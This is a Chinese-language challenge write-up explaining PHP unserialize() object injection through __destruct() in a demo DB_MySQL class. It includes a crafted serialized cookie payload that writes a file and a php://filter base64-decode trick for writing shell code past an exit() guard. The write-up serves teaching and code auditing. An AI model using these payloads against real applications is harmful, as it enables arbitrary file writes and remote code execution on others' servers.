關于[技術挑戰-2]
一 背景
此挑戰的題目是在學習Stefan
Esser的最近釋出的關于Unserialize()的那些漏洞公告和paper後産生的,在此之前對于Unserialize()引起的這一系列的應
用問題我也是一無所知的.學習後發現這類型的問題很多的應用程式存在,尤其是zend firework開發的一些程式,很值得學習,于是就有這個挑戰.
的blog裡,就[SODB-2009-01] 的一個僞代碼進行挑戰,由于那次的代碼太過于直白然後提示很多,導緻你用非技術手段就可以測試出結果,吸取上次的經驗,這次應該複雜一點,真實一點...
二 設計與挑戰
對于那些沒有看過Stefan Esser文章的朋友,這個exp-me.php裡'設計'了幾個看似非似的'漏洞':
1.利用unserialize()/serialize()的'編碼與解碼'的問題,這個是可以不受magic_quotes_gpc的影響,但是$session直接進了unset() 是以應該不是挑戰目标
2.$sessiondata數組變量沒有初始化,可以直接送出$sessiondata['user']進入資料庫查詢導緻'sql注射',但
是$sessiondata['user']有單引号,而受magic_quotes_gpc的影響[當然在不考慮字元集等的一些問題下]
3.還是利用上面的$sessiondata['user'],同時結合DB_MySQL類裡的halt()寫檔案,或者可以找到什麼漏洞,如果你很快就
會發現var
$logfile;根本就沒定義,是以預設根本沒有辦法寫檔案.[開始我是想定義個預設的檔案名,然後把$filepath不定義,那樣更加逼真,但是那
樣可能太浪費挑戰者的時間了]
在blog的回複可以看的出來,确實很多人考慮了上面的一些問題,還有人開始懷疑exp-me.php的代碼根本就是有問題的.....
對與看過了Stefan Esser文章的朋友,其實也有一定的難度,因為在他的公告和文章裡都是沒有直接給出exp的分析也不是很詳細,對于這些朋友這個挑戰其實就提供了很好的demo,然後結合他的文章,也可以加強對這類漏洞類型的了解....
三 具體分析
首先我們要了解unserialize()/serialize()存在的意義,很多像我一樣的'腳本小子'都是自學的半路出家的人,沒有參加過什
麼大型的php應用程式的開發,是以對于一些函數了解是不夠的,了解到某某函數的特性後,有着各種各樣的想法,而在nb的程式員眼裡,隻有一種概念:'我
一直都是那麼用它來xxx的啊'.
php手冊裡:
[---------------引用開始----------------]
serialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)
serialize -- 産生一個可存儲的值的表示
描述
string serialize ( mixed value )
serialize() 傳回字元串,此字元串包含了表示 value 的位元組流,可以存儲于任何地方。
這有利于存儲或傳遞 PHP 的值,同時不丢失其類型和結構。
想要将已序列化的字元串變回 PHP 的值,可使用 unserialize()。serialize() 可處理除了 resource
之外的任何類型。甚至可以 serialize() 那些包含了指向其自身引用的數組。你正 serialize() 的數組/對象中的引用也将被存儲。
當序列化對象時,PHP 将試圖在序列動作之前調用該對象的成員函數 __sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢複對象時, 将調用 __wakeup() 成員函數。
注: 在 PHP 3 中,對象屬性将被序列化,但是方法則會丢失。PHP 4 打破了此限制,可以同時存儲屬性和方法。請參見類與對象中的序列化對象部分擷取更多資訊。
unserialize
unserialize -- 從已存儲的表示中建立 PHP 的值
mixed unserialize ( string str [, string callback] )
unserialize() 對單一的已序列化的變量進行操作,将其轉換回 PHP 的值。傳回的是轉換之後的值,可為 integer、float、string、array 或 object。如果傳遞的字元串不可解序列化,則傳回 FALSE。
[---------------引用結束----------------]
也就是說serialize()可處理除了 resource 之外的任何類型為一個字元串,在通過unserialize()轉換回來,我們再看看對object類型處理時說明:
也就是說當unserialize()恢複對象時,将自動執行__wakeup() 成員函數.這個就是unserialize()執行類的關鍵.下面我們看看ryat幫我寫的一個簡單的demo:
<?php
class ryat {
var $wzt;
function __wakeup() {
echo $this -> wzt;
}
$ryat = new ryat();
$ryat -> wzt = 'hi';
$ryat = serialize($ryat);
var_dump($ryat);
$ryat = unserialize($ryat);
//var_dump($ryat);
//$ryat = unserialize('O:4:"ryat":1:{s:3:"wzt";s:2:"hi";}');
?>
但是在Stefan Esser的公告裡提到的是__destruct(),我們繼續看手冊:
構造函數和析構函數
構造函數
void __construct ( [mixed args [, ...]] )
PHP 5 允行開發者在一個類中定義一個方法作為構造函數。具有構造函數的類會在每次建立對象時先調用此方法,是以非常适合在使用對象之前做一些初始化工作。
....
為了實作向後相容性,如果 PHP 5 在類中找不到 __construct() 函數,它就會嘗試尋找舊式的構造函數,也就是和類同名的函數。是以唯一會産生相容性問題的情況是:類中已有一個名為 __construct() 的方法,但它卻又不是構造函數。
析構函數
void __destruct ( void )
PHP 5 引入了析構函數的概念,這類似于其它面向對象的語言,如 C++。析構函數會在到某個對象的所有引用都被删除或者當對象被顯式銷毀時執行。
這個是php5才引進的一個函數,在某個對象的所有引用銷毀或者删除是自動執行.
我們回到挑戰裡的代碼exp-me.php:
include 'mysql.php';
$session = unserialize(stripslashes($_COOKIE['_data'])); //測試友善可以修改為$_GET
isset($session)?$sessiondata:$session;
unset($session); //注意這個unset
unserialize()裡的參數可以任意送出,調用在mysql.php裡是class
DB_MySQL,再通過unset($session)後[補充一句在unset是對于exp-me而言,在其他的一些應用程式了這個漏洞的參數不
unset不是必須的,比如程式允許完php會自動登出], 自動執行DB_MySQL類裡的__destruct 函數:
function __destruct() {
echo $this -> close();
}
很常見的處理,調用close():
function close() {
$this->halt('MySQL_Close()');
return mysql_close($this->link);
繼續跟halt():
function halt($msg ='', $sql=''){
global $php_self,$timestamp,$onlineip;
$sqlcontent = "<?PHP exit('Access Denied');
?>/t$timestamp/t$onlineip/t".basename($php_self)."/t".htmlspecialchars($this->geterrdesc())."/t".str_replace(array("/r",
"/n", "/t"), array(' ', ' ', ' '), trim(htmlspecialchars($sql)))."/n";
file_put_contents($this->logfile, $sqlcontent);
exit;
最後到file_put_contents($this->logfile, $sqlcontent);來寫檔案,那麼我們怎麼構造$_COOKIE['_data']這個送出給unserialize()的序列的字元串呢?我們可以學習上面那個demo的方法:
$DB = new DB_MySQL;
$DB -> logfile = 'hi.php';
$ryat = serialize($DB);
得到O:8:"DB_MySQL":3:
{s:10:"querycount";i:0;s:4:"link";N;s:7:"logfile";s:6:"hi.php";}
當然你如果足夠了解它的結構的話,你可以直接構造 :). 通過送出上面的字元串,在根目錄就生存了一個hi.php檔案,内容為<?PHP
exit('Access Denied'); ?>
這裡我們重新看看__destruct()/__wakeup()這類函數,是不是還有其他的類似的函數可以自動執行呢?
同樣在php手冊裡找答案:
Magic Methods
The function names __construct, __destruct (see Constructors and
Destructors), __call, __get, __set, __isset, __unset (see Overloading),
__sleep, __wakeup, __toString, __set_state, __clone and __autoload are
magical in PHP classes. You cannot have functions with these names in
any of your classes unless you want the magic functionality associated
with them.
有興趣的朋友可以繼續分析下其他Magic Methods有沒有辦法利用? :)
上面的過程就是這個類型漏洞的産生的流程了.... 下面要解決的就是突破<?PHP exit('Access Denied'); ?>問題,在Stefan Esser的漏洞公告裡提到了這個問題,那就是通過轉換過濾器來重寫這個php檔案:
//$shellcode='PD9waHBpbmZvKCk7Pz4';//<?phpinfo();?>
//$endstr='s'; //對齊<?PHP exit('Access Denied'); ?>/t的base64-decode的位數
//$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP
exit('Access Denied'); ?>/t$timestamp");
執行上面的代碼,将<?PHP exit('Access Denied'); ?>/t$timestamp經過base64-decode後為亂碼寫入ryat.php,然後我們通過送出$timestamp把我們shell的代碼寫進去...
三 小結
通過上面的分析我們可以總結2個類型的問題:
1.unserialize()執行類導緻的安全問題,是不是'漏洞',主要取決于__destruct()/__wakeup()等Magic
Methods函數調用的可以完成什麼樣的功能,在php代碼審計時政策是,查找unserialize()和
__destruct()/__wakeup()等,然後具體去分析調用過程.
2.流過濾器給檔案操作帶來的安全問題.這個問題以前就有表現,比如include調用流檔案,這裡又多了一個突破<?PHP exit('Access Denied'); ?>等的方法.這個的前提是file路徑或者名稱可控.
記得在<進階PHP應用程式漏洞稽核技術>一文的第6節裡:
* 分析和學習别人發現的漏洞或者exp,總結出漏洞類型及字典。
* 有條件或者機會和開發者學習,找到他們實作某些常用功能的代碼的缺陷或者容易忽視的問題
這2條在本次挑戰的問題裡有着很好的體會.有心的朋友可以搜尋一下,你可以找到很多關于unserialize()執行類的問題如:http://be-evil.org/post-62.html
四 題外話
我開始以為隻要有*60的地方就有口水,現在我發現錯了,隻要有網絡的地方就有口水.在本次挑戰出來之前,某人就和我說這樣會不會引起别人的bs
啊,因為這個問題最開始是别人提出來的.我說不應該把,而且有我也不怕,因為我習慣了....最後還談到了一個知不知好歹的問題,說實話我真不知道這個挑
戰裡有什麼'好歹'.
看官你知道不?
順便說下'老外牛x'的這個問題,我也承認'老外牛x',我想全世界的人也應該承認,因為你在老外的眼裡也是老外.我是Stefan
Esser的fans,他是老外他牛x!
不知道那些經常用google翻譯看pst搞的那個planet集合的老外,有沒有'老外牛x'的感慨...............
五 參考
<a href="http://www.sektioneins.de/en/advisories/advisory-032009-piwik-%20-unserialize-vulnerability/">http://www.sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability/</a>
<a href="http://www.suspekt.org/downloads/RSS09-WebApplicationFirewallBypassesAndPHPExploits.pdf">http://www.suspekt.org/downloads/RSS09-WebApplicationFirewallBypassesAndPHPExploits.pdf</a>
<a href="http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf">http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf</a>
updata:忙着編輯文章去了,忘記了一個重要的環節,那就是感謝大家的支援,尤其感謝ryat的讨論和指教. thx!